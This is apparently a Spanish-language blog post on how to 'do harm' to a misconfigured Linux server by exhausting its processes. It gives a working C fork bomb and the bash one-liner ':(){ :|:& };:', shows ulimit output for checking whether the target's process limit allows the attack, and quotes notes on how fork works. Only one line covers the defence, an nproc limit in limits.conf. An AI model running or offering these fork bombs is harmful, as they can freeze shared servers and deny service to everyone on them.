Indagando un poco en como hacer daño a un servidor mal configurado en GNU/ Linux encontré dos formas, la primera es una bomba lógica, la segunda con código en C, me inclino por la segunda.
Parece que es complicado, pero no, no lo es.
#include
main()
{
/*Bucle infinito de creación de procesos*/
while(900==900)
{
fork();
}
}
Con lo anterior causamos que el servidor se pasme.
Para saber si nuestro código funcionará como se debe, en la konsola introducimos el cumando:
[lyonn@localhost ~]$ ulimit -a
core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
max nice (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 7153
max locked memory (kbytes, -l) 32
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
max rt priority (-r) 0
stack size (kbytes, -s) 10240
cpu time (seconds, -t) unlimited
max user processes (-u) 7153
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
Como notan, soy un usuario normal. La línea que nos interesa es la de max user processes, la cual dictaminará a cuantos procesos tenemos derecho, sí son muchos o ilimitados ya esta la posibilidad de hacerlo.
Ahora sólo falta decir que es lo que hace el código, pero primero debemos entender otras cosas.
“Un proceso es un programa en ejecución.
• En un núcleo multitarea (i.e. Linux) coexisten varios procesos.
• Son independientes entre sí (no comparten memoria).
Los hilos son contextos separados de ejecución en un mismo proceso.
• Un proceso puede tener varios hilos (puede realizar así varias cosas
simultáneamente).
• Los hilos de un mismo proceso:
comparten variables globales y memoria dinámica (heap).
no comparten variables locales (cada uno tiene su propia pila).
Un proceso (padre) puede crear procesos (hijos) mediante las llamadas al sistema
fork o __clone.
fork: En el momento de la llamada a fork el proceso hijo:
• es una copia exacta del padre excepto el PID.
• tiene las mismas variables y ficheros abiertos.
• las variables son independientes (padre e hijo tienen distintas pilas).
• los ficheros son compartidos (heredan el descriptor).
__clone: permite especificar qué queremos que compartan padre e hijo.
• espacio de direccionamiento.
• info de control del fs.
• descriptores de archivos abiertos.
• gestores de señales o PID.
compartición máxima = todo menos registros y segmento de pila.”
Para más información
Pero hay una forma de solucionar esto como administrador:
En el fichero /etc/security/limits.conf anexar la siguiente linea:
* hard nproc 1000
La otra forma de provocar es con directamente en la shell:
:(){ :|:& };:
Como ven, la programación es bastante generosa en cuanto a “actividades” que podemos hacer, sólo es cuestion d eimaginar y saber como se hace, no digo que sea fácil, pero es posible.
Yo no tomaria lo anterior como programació destructiva, ya que su función es otra, y si empezamos a conocerla por este camino es igual bienvenido, sólo que hay que saber cuando y donde aplicar, y sobre todo, informen al administrador del sistema, así tendran un nuevo reto…
saludos
Compártelo
You have already tagged this post. Your tags: